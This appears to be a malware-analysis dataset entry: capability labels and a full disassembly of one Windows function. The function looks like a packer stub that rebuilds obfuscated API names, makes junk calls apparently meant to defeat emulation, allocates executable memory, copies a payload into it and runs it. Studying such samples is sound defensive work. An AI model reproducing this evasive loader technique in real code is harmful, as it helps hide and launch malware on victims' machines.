Function at 0x403d43
Capabilities:
Read file on windows
Terminate thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
mov eax, dword [0x49ea70]
xor eax, dword [ebp + 4]
mov dword [ebp - 0x28], eax
push ebx
push esi
push edi
and dword [ebp - 0xa8], 0
and dword [ebp - 0xc4], 0
and dword [ebp - 0x6c], 0
and dword [ebp - 0x9c], 0
and dword [ebp - 0xa4], 0
and dword [ebp - 0x70], 0
mov dword [ebp - 0x94], 0x8fcc0b91
and dword [ebp - 0xa0], 0
and dword [ebp - 0x98], 0
and dword [ebp - 8], 0
and dword [ebp - 0xc0], 0
and dword [ebp - 4], 0
and dword [ebp - 0xb8], 0
and dword [ebp - 0xb4], 0
and dword [ebp - 0xbc], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0xc], 0
and dword [ebp - 0xb0], 0
and dword [ebp - 0x90], 0
push 0
push 0
push str.AVIfil32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov dword [ebp - 0xa8], eax
and dword [ebp - 0x14], 0
mov esi, str.V_rrtualAlloc_fe
lea edi, [ebp - 0x38]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 6
pop ecx
mov esi, str.A_rIMakeStreamFromClipboard
lea edi, [ebp - 0x8c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xbc], 0x10370
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x9c], 0x3a
push 0
push 0
mov ebx, eax
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x403e6c
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 6
jne 0x403e6c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov byte [ebp - 0x8b], 0x56
and dword [ebp - 0x24], 0
xor eax, eax
lea edi, [ebp - 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0xbc]
add eax, 0x12ff0
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp - 0xa8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xbc]
sub eax, 6
mov dword [ebp - 0xbc], eax
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], 0x500
and dword [ebp - 0xa4], 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 6
jne 0x403f9d
mov dword [ebp - 0x10], 0x1958
and dword [ebp + 8], 0
jmp 0x403f08
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0x5e6
jae 0x403f3f
and dword [ebp - 0xc8], 0
jmp 0x403f27
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jae 0x403f34
push 0
jmp 0x403f1a
call dword [ebp - 0x6c]
mov dword [ebp - 0xb4], eax
jmp 0x403f01
mov dword [ebp - 0x14], 0x1000
cmp dword [ebp - 0xb4], 0x80044065
jne 0x403f9d
cmp dword [ebp + 8], 0x5e6
jne 0x403f9d
mov byte [ebp - 0x37], 0x69
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp + 0xc], eax
mov eax, 0x40
mov ebx, dword [ebp + 0xc]
push eax
push dword [ebp - 0x14]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x14]
shl eax, 4
mov dword [ebp - 0x14], eax
push dword [ebp - 0x14]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
call ebx
mov dword [ebp + 0xc], eax
push dword [ebp - 0xac]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x6c], 0x400000
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x98], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop dword [ebp - 0xc4]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 3
push 2
push 2
push 0
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x9c]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x70]
lea eax, [ecx + eax + 0xa]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x10], 0
jbe 0x404023
push dword [ebp - 0x98]
push dword [ebp - 0x10]
push dword [ebp - 0x70]
call fcn.0040a000
add esp, 0xc
mov eax, dword [ebp - 0x90]
push eax
push dword [ebp - 0xc4]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 6
jne 0x404068
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0x5b], ecx
call dword [ebp - 0x5b]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x70], eax
xor eax, eax
mov ecx, dword [ebp - 0x28]
xor ecx, dword [ebp + 4]
call fcn.004040b7
pop edi
pop esi
pop ebx
leave
ret